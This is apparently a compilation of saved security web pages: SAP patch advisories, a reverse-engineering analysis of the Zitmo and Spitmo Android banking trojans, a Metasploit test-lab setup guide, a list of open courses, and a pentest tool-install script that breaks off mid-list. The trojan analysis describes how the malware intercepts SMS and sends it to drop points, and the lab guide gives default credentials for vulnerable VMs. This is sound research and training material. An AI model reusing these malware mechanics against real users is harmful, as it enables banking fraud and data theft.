  * A Missing Authorization Check vulnerability in SAP XML Data Archiving Service \(CVSS Base Score: 3.5\). Update is available in SAP Security Note 1945215. An attacker can use Missing Authorization Checks to access a service without any authorization procedures and use service functionality that has restricted access. This can lead to an information disclosure, privilege escalation, and other attacks.

**The most critical issues found by other researchers**

Some of our readers and clients asked us to categorize the most critical SAP
vulnerabilities to patch them first. Companies providing SAP Security Audit,
SAP Security Assessment, or SAP Penetration Testing services can include these
vulnerabilities in their checklists. The most critical vulnerabilities of this
update can be patched by the following SAP Security Notes:

  * 2180049: SAP ASE XPServer has a Missing Authorization Check vulnerability \(CVSS Base Score: 9.3\). An attacker can use Missing Authorization Checks to access a service without any authorization procedures and use service functionality that has restricted access. This can lead to information disclosure, privilege escalation, and other attacks. It is recommended to install this SAP Security Note to prevent risks.
  * 1952092: IDES ECC has a Remote Command Execution vulnerability \(CVSS Base Score: 6.0\). An attacker can use Remote Command Execution to run commands remotely without authorization. Executed commands will run with the privileges of the service that executes them. An attacker can access arbitrary files and directories located in an SAP server filesystem, including application source code, configuration, and critical system files. It allows obtaining critical technical and business-related information stored in the vulnerable SAP system. It is recommended to install this SAP Security Note to prevent risks.
  * 1971516: SAP SERVICE DATA DOWNLOAD has a Remote command execution vulnerability \(CVSS Base Score: 6.0\). An attacker can use Remote Command Execution to run commands remotely without authorization. Executed commands will run with the privileges of the service that executes them. An attacker can access arbitrary files and directories located in an SAP server filesystem, including application source code, configuration, and critical system files. It allows obtaining critical technical and business-related information stored in the vulnerable SAP system. It is recommended to install this SAP Security Note to prevent risks.
  * 2183624: SAP HANA database has an Information Disclosure vulnerability. An attacker can use Information Disclosure for revealing additional information \(system data, debugging information, etc.\) which will help to learn more about the system and to plan other attacks. It is recommended to install this SAP Security Note to prevent risks.

It is highly recommended to patch all those SAP vulnerabilities to prevent
business risks affecting your SAP systems.

SAP has traditionally thanked the security researchers from ERPScan for found
vulnerabilities on their acknowledgment page.

Advisories for those SAP vulnerabilities with technical details will be
available in 3 months on erpscan.com. Exploits for the most critical
vulnerabilities are already available in ERPScan Security Monitoring Suite.

# Clash of the Titans 2 – The Rematch: Zitmo \(Zeus\) v Spitmo \(SpyEye\) «
P4r4n0id Reversing Lab

**Created:**| _9/17/2011 4:09:25 PM_  
---|---  
**Updated:**| _7/5/2012 11:51:50 AM_  
**Author:**| __  
**Tags:**| _botnets_  
  

## Clash of the Titans 2 – The Rematch: Zitmo \(Zeus\) v Spitmo \(SpyEye\)

by Master on Sep.16, 2011, under Malware, Reversing

**Intro:**

Zeus and SpyEye are two of the best known malware in the industry that were
designed to steal online banking information.They Injects themselves into the
middle of ongoing banking transactions, duping bank customers into sending
money to attackers while the customer proceeds with what looks like a valid
transaction. As two-factor authentication methods becomes more and more
popular and the increasing popularity of smartphones devices and tablets
causes cybercriminals to work hard, keep up and develop new technologies to
continue making big money. In September 2010 a new variant of Zeus was
discovered, **Zitmo** , a one that targets mobile devices, and exactly one
year after SpyEye distributors catches up and a new SpyEye variant is out,
**Spitmo** , SpyEye for Android.

**The battle continues\!**

**Zitmo – Zeus in the Mobile**

**The Trojan – Sample Generic Overview**

**<img src='img/Temp2_1480.jpg' width='452' height='303' />**

**dex2jar.bat classes.dex**

**<img src='img/Temp2_1470.jpg' width='374' height='240' />  
**

**The Trojan – Classes Overview**

  * **Activation Class** – Takes care of creating a window in which you can place the UI.
  * **Config Class** – Build configuration.
  * **MainService Class** – The main service component.
  * **R class** – Resources class.
  * **ServerSession Class** – Network / drop point communication.
  * **SmsReceiver Class** – main SMS “hooking” engine.

**The Trojan – Main Functions Overview**

  * public void **onCreate**\(Bundle paramBundle\)
  * public IBinder **onBind**\(Intent paramIntent\)
  * public int **onStartCommand**\(Intent paramIntent, int paramInt1, int paramInt2\)
  * public void **run**\(\)
  * public static String **initUrl**\(\)
  * public static JSONObject **postRequest**\(UrlEncodedFormEntity paramUrlEncodedFormEntity\)
  * public void **onReceive**\(Context paramContext, Intent paramIntent\)

**The Trojan – C &C Communication**

**Drop Point:**

****<img src='img/Temp2_1491.jpg' width='446' height='190' />

**Sending the data:**

****<img src='img/Temp2_1487.jpg' width='469' height='218' />

**The Trojan – AndroidManifest.xml**

  * android.permission.RECEIVE\_SMS
  * android.permission.INTERNET
  * android.permission.READ\_PHONE\_STATE

<img src='img/Temp2_1479.jpg' width='624' height='56' />

**SMS receiver priority:**

<img src='img/Temp2_1481.jpg' width='619' height='78' />

**The Trojan – Dynamic Analysis**

After infection, user double-clicks the Trojan’s fake icon \(Activity class\),
a background service is created. Every time the user receives a SMS the
“SmsReciver” class “hooks” the income SMS passes it to the “MainService” class
which extract all needed data. The data is saved in a “BasicNameValuePair”
structure. Once the data is collected, all information is sent to a hardcoded
drop point remote server using a JSON object using a POST request method.

**The Trojan – Look and Feel**

**android:icon=”@drawable/app\_icon”**

****<img src='img/Temp2_1477.jpg' width='501' height='196' />

<img src='img/Temp2_1475.jpg' width='714' height='286' />

**  
**

**Spitmo – SpyEye in the Mobile**

**The Trojan – Sample Generic Overview**

<img src='img/Temp2_1471.jpg' width='452' height='252' />

**dex2jar.bat classes.dex**

<img src='img/Temp2_1485.jpg' width='553' height='360' />

**The Trojan – Classes Overview**

  * **Constants Class** – const variables.
  * **R Class** – resources.
  * **SMSReceiver Class** – main engine.

**The Trojan – Main Functions Overview**

  * private void **performAction**\(String paramString1, String paramString2, String paramString3\)
  * private void **sendViaSMS**\(String paramString1, String paramString2, String paramString3\)
  * public void **onReceive**\(Context paramContext, Intent paramIntent\)
  * protected Boolean **doInBackground**\(String\[\] paramArrayOfString\)

**The Trojan – C &C Communication**

**Drop Point \(predefined in a settings.xml file\):**

****<img src='img/Temp2_1473.jpg' width='361' height='258' />

**Sending the data:**

There are 3 ways sending the data \(predefined in settings.xml\):

• public static final byte SEND\_TYPE\_HTTP = 1;  
• public static final byte SEND\_TYPE\_HTTP\_THEN\_SMS = 2;

**otherwise** :

• public static final byte SEND\_TYPE\_SMS;

<img src='img/Temp2_1490.jpg' width='361' height='258' />

<img src='img/Temp2_1474.jpg' width='602' height='181' />

**The Trojan – AndroidManifest.xml**

**uses-permission:**

  * android.permission.INTERNET
  * android.permission.SEND\_SMS
  * android.permission.RECEIVE\_SMS
  * android.permission.PROCESS\_OUTGOING\_CALLS
  * android.permission.READ\_PHONE\_STATE
  * android.permission.WRITE\_SMS
  * android.permission.READ\_SMS

<img src='img/Temp2_1484.jpg' width='672' height='142' />**SMS receiver
priority:**

<img src='img/Temp2_1465.jpg' width='672' height='119' />

**The Trojan – Dynamic Analysis**

After infection, SpyEye is not active until a predefined number \(325000\) is
dialed or an SMS is received.

<img src='img/Temp2_1466.jpg' width='432' height='164' />

In case of incoming SMS, Spitmo parses its configuration file, settings.xml,
using the ‘XmlPullParser’ interface.  
From the incoming SMS it extracts the following data:

  * The phone number of the device.
  * The SMS originating address.
  * The SMS message body as a String.

<img src='img/Temp2_1483.jpg' width='533' height='46' />

Once got the data, it parses its configuration file deciding how to send the
stolen data:  
First it extracts from the ‘**send** ’ element the value of the ‘**value** ’
attribute:

<img src='img/Temp2_1467.jpg' width='544' height='133' />

The ‘**send** ’ value tells Spitmo how to send the stolen data:

  * HTTP only – ‘1’
  * HTTP and then SMS – ‘2’
  * Otherwise – SMS.

<img src='img/Temp2_1469.jpg' width='213' height='114' />

Next, gets from the ‘**telephone** ’ element the value of the ‘value’
attribute:

<img src='img/Temp2_1486.jpg' width='450' height='117' />

The ‘**addr** ’ values:

<img src='img/Temp2_1464.jpg' width='465' height='125' />

The ‘**addr** ’ values are the drop points addresses.  
And the ‘**tels** ’ element values:

<img src='img/Temp2_1476.jpg' width='451' height='151' />

The ‘**tels** ’ values tells Spitmo what SMS to “hook”. In case this field is
empty, all incoming SMS will be intercepted and transferred to the drop site.
This sample does not include ‘**tel** ’ numbers:

<img src='img/Temp2_1473.jpg' width='361' height='258' />

In case the malware distributor will want numbers to be included it will look
as follows:

<img src='img/Temp2_1472.jpg' width='262' height='75' />

Sending the stolen data via HTTP will include the following parameters:

<img src='img/Temp2_1468.jpg' width='465' height='193' />

Spyeye uses URLEncoder to “encode” the data and sends it as a non encrypted
data \(clear text\) via a GET request to its drop points.

**The Trojan – Look and Feel**

**No UI.**

**Comparison Table**

<img src='img/Temp2_1489.jpg' width='594' height='337' />

<img src='img/Temp2_1478.jpg' width='594' height='261' /> <img
src='img/Temp2_1488.jpg' width='594' height='242' />

Who’s next Carberp? <img src='img/Temp2_1482.jpg' width='15' height='15'
alt=':)' />

Keep safe,

p4r4n0id

  

  

  

# Beta-test for HexRaysCodeXplorer is open\! / REhints.com

**Created:**| _7/28/2013 8:06:28 AM_  
---|---  
**Updated:**| _7/28/2013 8:07:00 AM_  
**Author:**| __  
**Tags:**| _code-checks_  
  

# **B** eta-test for HexRaysCodeXplorer is open\!

**HexRaysCodeXplorer** \- open source plugin, the source code will be shared
after the first stable release**.** Today we started public beta-test. If you
want to join check REhint’s GitHub repository **.** **Thanks for all
REsearchers who support us and we waiting yours feedback**\!****

Here are the main features of the plugin which we would like to have in the
first release:

  * navigation through virtual function calls in Hex-Rays Decompiler window;
  * automatic type reconstruction for C++ objects;
  * useful interface for working with objects & classes;

<img src='img/Temp2_1010.jpg' />

If you want to submit bugs or have ideas about new features let us know at
issues tracker  or by email support@rehints.com **.**

****

# DIY CISS Degree: 100 Open Courses on Computer Information Systems and Security | Computer Colleges
**Created:**| _5/14/2009 3:30:52 PM_  
---|---  
**Updated:**| _5/14/2009 3:31:25 PM_  
**Author:**| __  
**Tags:**| _bookmark courses Tutorials_  
  

## DIY CISS Degree: 100 Open Courses on Computer Information Systems and
Security

May 11th, 2009

Whether you’ve been accepted to a degree program and want to work ahead,
already have a degree and want to learn more or just want to delve into the
world of computer and information systems, you’ll find plenty to keep you busy
through a variety of open courseware offerings. From courses that teach the
basics of computer science to those that delve into specialty areas, you’re
sure to find something that will help you learn more and gain confidence in
the field.

**Computer Science Basics**

These courses will help teach you some of the fundamental aspects of computer
science and information systems.

  1. **Introduction to Computer Science and Programming:**This course will teach students, even those with little previous knowledge, about the basics of writing small Python programs. \[MIT\]
  2. **Structure and Interpretation of Computer Programs:**Give this course a try to learn and apply the basic methods of programming. \[MIT\]
  3. **Computation Structures:** If you want to learn more about the engineering of digital systems, take this free course. You’ll get information in logic gates, combinational and sequential circuits, finite-state machines, and computers. \[MIT\]
  4. **Computer Graphics:** In order to create great user interfaces you’ll need to know a bit about computer graphics. This course will take you through the hardware and software needed to do so. \[MIT\]
  5. **Essential Coding Theory:** Going all the way back to the 1940’s, this course will provide an informative overview of the developments in coding theory. \[MIT\]
  6. **User Interface Design and Implementation:** In this course you’ll learn how to build effective and user-friendly interfaces with a focus on design, implementation and evaluation. \[MIT\]
  7. **Programming Languages:** Here you’ll learn the basics of how common programming languages work and get a chance to apply these lessons to some real examples. \[MIT\]
  8. **Information Technology Essentials:** Covering a wide range of topics, this course is a great introduction to concepts in networks, systems, programming, enterprise applications and much more. \[MIT\]
  9. **Information Technology I:** Through this course, students will learn the essential concepts behind IT and get a sense of where future developments may be taking it. \[MIT\]
  10. **Academic Strategies for the IT Professional:** Those already working in an IT field but who want to go back to school will get a lot out of this course, designed to teach time management and goal setting. \[MIT\]
  11. **Artificial Intelligence:** This course can help students learn how to build computer systems that are smarter and work better with human users. \[MIT\]
  12. **Computer Language Engineering:** From the interaction of theory and practice to real experience with high-level programming languages, this course will be a great asset to boosting your knowledge. \[MIT\]
  13. **Great Ideas in Theoretical Computer Science:** Here you’ll get a great introduction to some of the theoretical ideas that are central to understanding computer science. \[MIT\]
  14. **Theory of Computation:** Take this course to learn more about Automata and Language Theory, Computability Theory, and Complexity Theory. \[MIT\]
  15. **Program Analysis:** This course covers a range of program analysis techniques focusing on the design and implementation of programming tools. \[MIT\]

**Essential Math**

Having a strong grasp of mathematical concepts is essential to working with
logic-based systems like computers. These courses will provide some help in
learning about basic and more advanced math topics.

  16. **Introduction to Algorithms:** Check out this course to better understand the relationship between computer programming and algorithms. \[MIT\]
  17. **Introduction to Mathematical Programming:** This course will help you learn the math that underlies the basic programming that you’ll do on any development project. \[MIT\]
  18. **Mathematics for Computer Science:** From proofs and definitions to discrete probability theory, you’ll learn the important stuff in this computer and engineering focused course. \[MIT\]
  19. **Street Fighting Mathematics:** Take your mathematics skills to the streets with this class that can help you learn how to make great estimations without always having to do the calculations. \[MIT\]
  20. **Fundamentals of Probability:** If you want to learn more about probability and how to apply it to your computer science studies, check out this free course. \[MIT\]
  21. **Quantum Information Science:** Those interested in this course will want to have taken some other courses in quantum mechanics, as this course is focused on more advanced topics in the field. \[MIT\]
  22. **Distributed Algorithms:** Through this course, students will learn about the latest research in distributed algorithms and get a chance to carry out their own experiments as well. \[MIT\]

**Law**

These law courses can help you to protect your intellectual property and
ensure your work within the law.

  23. **Ethics and the Law on the Electronic Frontier:** Explore legal issues that have to do with the internet, surveillance, data-mining and more through this course. \[MIT\]
  24. **Inventions and Patents****:** Think you have the next great invention? Learn how you can safeguard your idea with a little guidance from this course. \[MIT\]
  25. **Introduction to Copyright Law:** From respecting the law in your own work to understanding how copyrights work in peer-to-peer sharing, you’ll get a good foundation of knowledge in this law course. \[MIT\]

**Security**

Those hoping to boost their knowledge of how to keep networks and information
safe and secure, will find that these courses offer some great free learning
opportunities.

  26. **Network and Computer Security:** Through this course, students will learn to create secure multi-computer networks, encrypt data, use security monitoring software, access risk and much more. \[MIT\]
  27. **Selected Topics in Cryptography:** If you’d like to address some of the more advanced issues in cryptography, this course is an ideal way to do so. \[MIT\]
  28. **Cryptography and Cryptanalysis:** Check out these courses for a great introduction to the modern uses of cryptography. \[MIT\]
  29. **Advanced Topics in Cryptography:** Focusing on topics like interactive proofs, zero-knowledge proofs, secure protocols, and two-party secure computation, this course will help you take your cryptography studies to the next level. \[MIT\]
  30. **Introduction to Information Security****:** This course is a very basic introduction to the reasons and methods for securing confidential information. \[OpenLearn\]
  31. **Network Security:** Beginners can learn the basics of network security through this course. \[OpenLearn\]
  32. **Hyper-Encryption by Virtual Satellite:** Watch this video lecture to learn about the role satellites may play in encryption and the failings of many present methods. \[Harvard@Home\]
  33. **A Worldview through the Computational Lens - Part III: Cryptography: Secrets, Lies, Knowledge, and Trust****:** Those interested in the role of computers in the modern world will enjoy this lecture that focuses on the benefits and problems associated with digital security. \[Princeton\]

**Networks and Communication**

Learn more about building and maintaining networks and working with digital
communications through these courses.

  34. **Data Communication Networks:** Learn why networks are structured the way they are and the challenges that face the designers of these networks in the future. \[MIT\]
  35. **Communications and Information Policy****:** This course is an introduction to the technology and policy context of public communications networks both in the present and the past. \[MIT\]
  36. **High Speed Communication Circuits and Systems:** Check out this course to learn more about the inner workings of wireless and broadband data link applications. \[MIT\]
  37. **Computer Networks:** This course addresses the ways that the current global network is structured and ways that it can be changed and adapted to meet future needs. \[MIT\]
  38. **Principles of Wireless Communications:** With virtually everything going wireless these days, it’s essential to know how these networks work. Find out more through this course. \[MIT\]
  39. **Principles of Digital Communications I:** Some of the topics covered in this two-part course include block diagram level, data compression, Lempel-Ziv algorithm, scalar and vector quantization and much more. \[MIT\]
  40. **Principles of Digital Communications II:** This course continues on the lessons of Digital Communications I, offering loads of instruction on how to use, program and understand a variety of digital communication channels and coding. \[MIT\]

**Database and Informatics**

Those who plan to or already are working with databases can find out more
about what it takes through these courses.

  41. **Database Systems:** This course addresses some of the basics of database systems, covering topics like relational algebra and data model, schema normalization, query optimization, and transactions. \[MIT\]
  42. **Data Structures and Programming Methodology:** Through this course, students will learn how to deal with fundamental data structures, use algorithms and do basic Java programming. \[UC Berkeley\]
  43. **Database, Internet, and Systems Integration Technologies:** Check out this free course to learn more about software development methods, data modeling and databases, application development, Web standards and development, system integration, security, and data communications. \[MIT\]
  44. **The Database Development Life Cycle:** Learn how databases are developed step-by-step in this course. \[OpenLearn\]
  45. **Introduction to Data and Information:** This course provides a very introductory explanation of how to manage data online. \[OpenLearn\]
  46. **Communicating with Data:** You’re storing and managing all that data for something. This course teaches you how to use the information you have to make informed and educated decisions. \[MIT\]
  47. **Effective Ways of Displaying Information:** Those working with a lot of numerical data will appreciate this course that can help you better represent information graphically. \[OpenLearn\]
  48. **Information Theory:** This course focuses on the definition and implications of information entropy, the source coding theorem, and the channel coding theorem. \[USU\]
  49. **Transmission of Information:** Take this course online to learn about the quantitative theory of information and how it can be practically applied. \[MIT\]
  50. **Representing and Manipulating Data in Computers:** Beginners in the field will gain knowledge in how to store and use information in a computer system from this course. \[OpenLearn\]
  51. **Data and Processing in Computers:** Here you’ll learn about the forms of data used on computers and the types of processes most commonly applied to them. \[OpenLearn\]

**Web Development**

These courses will help you gain the knowledge you’ll need to program
effectively for the Web.

  52. **Communicating in Cyberspace:** This course examines the topics of analysis, design, implementation and testing of various forms of digital communication. \[MIT\]
  53. **Software Engineering for Web Applications:** Visit this course’s site to learn how to program applications for the web and deal with web-specific challenges. \[MIT\]
  54. **Gentle Introduction to Programming Using Python:** Students with little or no experience in programming will learn how to use Python in this course. \[MIT\]
  55. **Information on the Web:** Learn how to effectively navigate information on the Web through this course. \[OpenLearn\]
  56. **XML Foundations:** This short course will help students learn the basic knowledge required for XML, and creating cascading style sheets and RSS feeds. \[UC Berkeley\]
  57. **Creating Home Pages on the World Wide Web:** Check out this course to learn how you can implement an internet home page to help your business or professional endeavor. \[University of Minnesota\]
  58. **Server-Side Web Development Distributed Lectures:** Here you’ll find a wide range of lectures that can help you learn to do everything from using PHP to examining data online. \[Indiana U\]
  59. **HTML Basics:** HTML is one of the oldest web programming languages and is essential to anyone who wants to engage in web development. \[Open UW\]
  60. **Computer Science E-1: Understanding Computers and the Internet:** From hardware to security, you’ll get the basics of it all here. \[Harvard Extension School\]
  61. **People-centered Design:** Learn to better design your webpages and programs to suit the needs and desires of your customers and users. \[OpenLearn\]
  62. **Introduction to Software Engineering in Java****:** Learn to make the most of what Java has to offer by learning the basics from this course. \[MIT\]

**Field Specific**

You can learn more about how IT is applied in fields like health care and
education through these courses.

  63. **Medical Computing:** This course offers an analysis of the computational needs of clinical medicine, and reviews systems and approaches that have been used to support those needs. \[MIT\]
  64. **Medical Decision Support****:** Learn how your programs can play a role in the health care field through decision analysis, artificial intelligence and predictive model construction. \[MIT\]
  65. **Control of Manufacturing Processes:** This course will examine statistical modeling and control in manufacturing and the role computer systems can play. \[MIT\]
  66. **Information Technology as an Integrating Force in Manufacturing****:** Learn more about topics like the Internet, hardware and operating systems, software development tools and processes, relational databases, security and cryptography, enterprise applications, B2B, the semantic web and electronic commerce in this online course. \[MIT\]
  67. **Networks for Learning:** This course combines theories about how the brain learns with computational topics like computer vision, computer graphics, and database search. \[MIT\]
  68. **Biomedical Information Technology:** Those interested in the role of IT in the medical field can learn more through this course. \[MIT\]
  69. **Information and Communication Technology in Education:** Find out how new technologies can be implemented in an educational setting here. \[TWB\]
  70. **Information Technology in the Health Care System of the Future:** Medical care is changing rapidly with new technology. Learn what the role of the CISS professional may be in this system. \[MIT\]
  71. **Introduction to Computers in Public Management II:** Students in this course will gain a basic understanding of computing in planning and public management through case studies and hypothetical situations. \[MIT\]
  72. **Designing and Sustaining Technology Innovation for Global Health Practice:** This course examines health care around the world and the ways technology is connecting and accelerating the quality of health care. \[MIT\]
  73. **Engineering Biomedical Information: From Bioinformatics to Biosurveillance:** Check out this course for information on technological advances in biomedical informatics and how they’re being used in both computer science and biomedical research. \[MIT\]

**Business and Management**

Many CISS professionals will be working in corporate or office settings. These
courses will help you to build the necessary business and management skills.

  74. **Applications of System Dynamics:** This course examines how businesses and corporations can use system dynamics to achieve important goals. \[MIT\]
  75. **Communicating in Technical Organizations:** You may find yourself working in a largely technical organization with a degree in a computer related field. This course will help you to boost your communication skills and make the most of your role within the organization. \[MIT\]
  76. **Generating Business Value from Information Technology:** Get a look at the business side of information technology with this helpful course. \[MIT\]
  77. **IT and Business Transformation:** From examining the impact of IT on a business to learning ways to better manage IT, this course is great for managers and technicians alike. \[MIT\]
  78. **Practical Information Technology Management:** This course can help you understand how to make sound business decisions relating to information systems. \[MIT\]
  79. **Advanced Managerial Communication:** Give this course a try if you want to learn more about leadership, management and other important issues of working with employees. \[MIT\]
  80. **People and Organizations:** Here, you’ll learn about this history and the present situations in which scientists, engineers and other professionals work. \[MIT\]
  81. **Operations Management:** With topics focusing on project management and quality management, this course can be a great way to build up business skills. \[MIT\]
  82. **Systems Optimization:** Designed with both managers and engineers in mind, this course addresses ways that a system of any kind can be made more efficient. \[MIT\]
  83. **Data, Models and Decisions:** This course will help you use hard data to make informed business decisions. \[MIT\]
  84. **Negotiation and Conflict Management:** Within any organization there is bound to be conflict from time to time. This course will teach you how to effectively manage and work through these issues. \[MIT\]

**Systems**

Check out these courses to learn more about building and working with systems.

  85. **Knowledge-Based Applications Systems:** This course will address topics like technical issues encountered in building a system, AI techniques and current and future research in the field. \[MIT\]
  86. **Principles of Computer Systems:** Check out this course to learn the basics of how computer systems are put together. \[MIT\]
  87. **Computer System Architecture****:** Ever wanted to know how a computer works and what part does what? This course will teach you about the process of actually building a computer. \[MIT\]
  88. **Dynamic Systems and Control:** Learn more about linear, discrete- and continuous-time, and multi-input-output systems in this course. \[MIT\]
  89. **Introductory Digital Systems Laboratory:** An interest in digital logic is necessary for this course that touches on flipflops, PALs, counters, timing and synchronization. \[MIT\]
  90. **Integrating eSystems& Global Information Systems:** This course addresses the interconnectivity of the various parts of a business and how each contributes to the success or failure of an enterprise. \[MIT\]
  91. **Operating Systems and System Programming:** Learn what it takes to program a basic operating system as well as gain skills in other programming applications as well. \[UC Berkeley\]
  92. **Advanced System Architecture:** This course is definitely not for the newbie and instead is geared towards those with extensive knowledge in engineering systems. \[MIT\]
  93. **Computer and Computer Systems:** This course offers an introductory look at how computers and their systems work. \[OpenLearn\]
  94. **Introducing ICT Systems:** Information and communications technologies, or ICTs, are discussed on a basic level in this course. \[OpenLearn\]
  95. **Systems Design and Administration:** Those interested in systems administration can take advantage of this free course that covers topics like computer hardware selection, user account management, file system optimization, and security.\[College of Utah\]
  96. **Theory of Parallel Systems:** Here you’ll find a comprehensive introduction to the theoretical basis of parallel computing systems. \[MIT\]
  97. **System Identification:** This course will teach you how to create mathematical models of systems, create a variety of models and many more practical skills. \[MIT\]
  98. **Complex Digital Systems:** Geared towards personal work, this course focuses on "designing multi-million-gate CMOS VLSI chips using high-level synthesis tools in conjunction with standard commercial EDA tools." \[MIT\]

**Course Collections**

These sites provide several helpful tutorials and courses designed to prepare
students for a career in CISS.

  99. **CISSP Essentials Training:** Here you’ll find a security training program, taking you through every element of a secure network.
  100. **Veridon Security Training:** This site contains a collection of modules on topics like access control, cryptography and network security.

Did you enjoy this article?

# Setting up a penetration testing lab | Metasploit Project
**Created:**| _4/3/2011 2:23:10 PM_  
---|---  
**Updated:**| _4/3/2011 2:23:43 PM_  
**Author:**| __  
**Tags:**| _Exploit software testing Lab-Setup_  
  

# How to set up a penetration testing lab

If you don’t have access to a live test environment or cannot find systems to
run penetration tests against, you will to need to learn how to set up your
own penetration testing lab. Since resources will vary from user to user,
we’ve provided instructions for setting up a test lab on a single box and on
multiple boxes.

  * How to Set Up a Test Lab
  * Setting up a test lab on a single machine
  * Setting up a test lab on multiple machines
  * Where to get vulnerable target machines

### How to Set Up a Test Lab

Before you get started, let’s take a look at what you will actually need to
create your own lab environment.

#### Stuff You Need

  * A box that meets the target box specifications
  * A second box with two NICs to dedicate to Metasploit Framework \(optional\)
  * Multiple processors/cores
  * Plenty of RAM \(at least 4GB\)
  * Plenty of hard drive space
  * Virtualization software \(e.g., VMware, VirtualBox, Hypervisor\)
  * Pre-built virtual machines or installer ISOs

#### Target Box Specifications

  * Intel Core 2 Quad @2.66 GHz
  * 8 GB Crucial DDR3 RAM
  * 500 GB WD HD
  * Ubuntu 10.04 LTS 64 bit
  * VMware Workstation

#### Metasploit Framework Box Specifications

  * AMD Quad Something, 1.8 GHz
  * 8 GB DDR2 RAM
  * 500 GB HD
  * Ubuntu 9.10 64 bit

#### Download the Metasploit Framework

If you do not have the Metasploit Framework, you can download it here.

<img src='img/Temp2_7456.png' width='457' height='66' alt='latest version for
free' />

Back to Top

### Setting up a test lab on a single machine

If you have limited resources, the best way thing to do is use a single
machine to set up your virtual machines and Metasploit Framework box.

<img src='img/Temp2_7453.png' width='581' height='278' alt='Single Machine' />

These steps will vary depending on the operating system and the virtualization
software you are using.

  * 01Open the **Network Editor.**
  * 02Add a network to your virtual network.
  * 03Change the network configuration to **Host Only.**
  * 04Choose the subnet for the network \(e.g., 192.168.187.0\). The subnet must be within a private range.
  * 05Save the network.
  * 06Assign this virtual network to machines as you create them.

Once you’ve set up your virtual network, you can set up the network
individually for each virtual machine – just simply assign the network to the
host-only network you’ve just created. Setting up a test lab on multiple
machines

Back to Top

### Setting up a test lab on multiple machines

<img src='img/Temp2_7454.png' width='581' height='278' alt='Multiple Machines'
/>

In this type of test lab environment, you will want to keep your vulnerable
machines unavailable to any machine except for your penetration testing box;
therefore, it’s important to make the vulnerable machine dependent on the
Metasploit Framework box for connectivity. In the section below, we’ll show
you how to set up the access to go out on eth0 for the Metasploit Framework
box and access to go to the target box on eth1.

These steps are based on a Linux system, so they will vary depending on the
operating system you are using.

  * 01Configure the DHCP server on the Metasploit Framework box \(for eth1 only\):

  * a.Install the DHCP server using the following command:  
**root@pro\_server: apt-get install dhcp3-server.**

  * b.Open a text editor and edit the config so that the server only runs on eth1; use the following command:  
**root@pro\_server: vim /etc/dhcp3/dhcpd.conf**

  * c.Search for the following line:  
INTERFACES=”eth0″.

  * d.Replace it with:   
INTERFACES=”eth1″.

  * e.Save the changes to the conf file and exit the editor.

  * 02Make a copy of the conf file:   
**root@pro\_server: cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.back**  
You will be making additional changes to the original conf file.

  * 03Edit the subnet range using the command:   
root@pro\_server: vim /etc/dhcp3/dhcpd.conf file  
The subnet on eth1 must be different than eth0.

  * 04Configure your interfaces using the following command:   
root@pro\_server: vim /etc/network/interfaces.

  * 05Set the IP address for the Metasploit Framework box and make it static.
  * 06Restart the DHCP server:   
**root@pro\_server: service dhcp3-server restart**

  * 07Connect the Metasploit Framework box to the target box with a network cable: eth 1 on the Metasploit Framework box goes to eth0 on the target box. This makes the target box dependent on the Metasploit Framework box for network connectivity.

Once you’ve done this, you will need to make sure that your virtual machines
are assigned IP addresses that are on the same subnet as the Metasploit
Framework box. To do this, you should bridge the connections to share the same
connection as the target box but assign them IP addresses from the Metasploit
Framework box. After you’ve set up the connections for the Metasploit
Framework box and the target boxes, you’re ready to start your penetration
testing with the Metasploit Framework.

Back to Top

### Where to get vulnerable target machines

You will need to configure a target network before penetration testing can
begin. Rapid7 provides vulnerable virtual machines you can install as a guest
system on your local machine for testing purposes. The Metasploitable and
UltimateLAMP vulnerable VMs are an Ubuntu machines running vulnerable services
and containing weak accounts.

The Metasploitable VM focuses on network-layer vulnerabilities, while the
UltimateLAMP VM is primarily focused on web vulnerabilities.

If you’re familiar with VMWare and have a workstation or, server already
installed, that can be used as a VM host. Alternatively, you can get the free
VMWare Player here

You can download the Metasploitable machine using BitTorent.

The Metasploitable vulnerable VM runs the following services:

<img src='img/Temp2_7452.png' width='593' height='147' alt='Vulnerable
Services' />

The Metasploitable VM also contains a weak system account with the username
user and the password user. Several vulnerable applications have been
installed on the VM.

You can download UltimateLAMP here. The UltimateLAMP VM runs the following
services:

<img src='img/Temp2_7455.png' width='356' height='69' alt='UltimateLAMP
Services' />

Additionally UltimateLAMP runs older and vulnerable versions of the following
applications:

<img src='img/Temp2_7451.png' width='593' height='381' alt='Vulnerable
Services' />

The UltimateLAMP VM's default credentials are: „root‟: „vmware‟. Each
application is available by browsing to :80 on the VM's assigned IP address.

Back to Top

### You’re done\!

By the way, this test lab setup works just as well for Metasploit Pro.
Download the Metasploit Pro trial and test it in your new lab today\!

# pentesting with an ubuntu box « HexEsec | a pentester’s view
**Created:**| _12/15/2009 6:15:45 PM_  
---|---  
**Updated:**| _12/15/2009 6:16:00 PM_  
**Author:**| __  
**Tags:**| _Linux pentest_  
  

here’s a recent drop of a script i use to configure my ubuntu box for
pentesting. yes, i could use backtrack \(and i do — especially if i’m having
wireless issues\), but this is a quick way to get an ubuntu box up & running.
cheers -jcran

> \#\!/bin/bash
> \# System Configuration & Utilities  
> apt-get -y install build-essential  
> apt-get -y install linux-headers-\`uname -r\`  
> apt-get -y install sysvconfig  
> apt-get -y install bum \#\# Boot-Up Manager  
> apt-get -y install tofrodos \#\# DOS utils  
> apt-get -y install xinetd \#\# why not.  
> apt-get -y install unrar \#\# RAR support  
> apt-get -y install p7zip-full \#\# 7-Zip support  
> apt-get -y install fcrackzip \#\# Zip cracking  
> apt-get -y install ipcalc \#\# handy  
> apt-get -y install sharutils \#\# uuencode / uudecode  
> apt-get -y install xclip \#\# piping is handy  
> apt-get -y install ldap-utils  
> apt-get -y install cabextract \#\# damn microsoft and their fascist
> compression formats\!  
> apt-get -y install g++  
> apt-get -y install ssh
> \#\# Network services  
> apt-get -y install samba  
> apt-get -y install nis  
> apt-get -y install nfs  
> apt-get -y install smbfs \#\# samba utilities  
> \#\# apt-get -y install tftpd \#\# you need to modify the /etc/init.d file…
> \# system monitoring  
> apt-get -y install ntop \#\#  
> apt-get -y install sysstat \#\# iostat,sar,mpstat  
> apt-get -y install procinfo
> \# Package Management  
> \#apt-get -y install apt-build  
> \#apt-get -y install apt-dpkg-ref  
> \#apt-get -y install apt-listbugs  
> apt-get -y install apt-file  
> \#apt-get -y install apt-howto  
> apt-get -y install apt-utils  
> apt-get -y install apt-listchanges  
> apt-get -y install dconf
> \# Terminal Emulators  
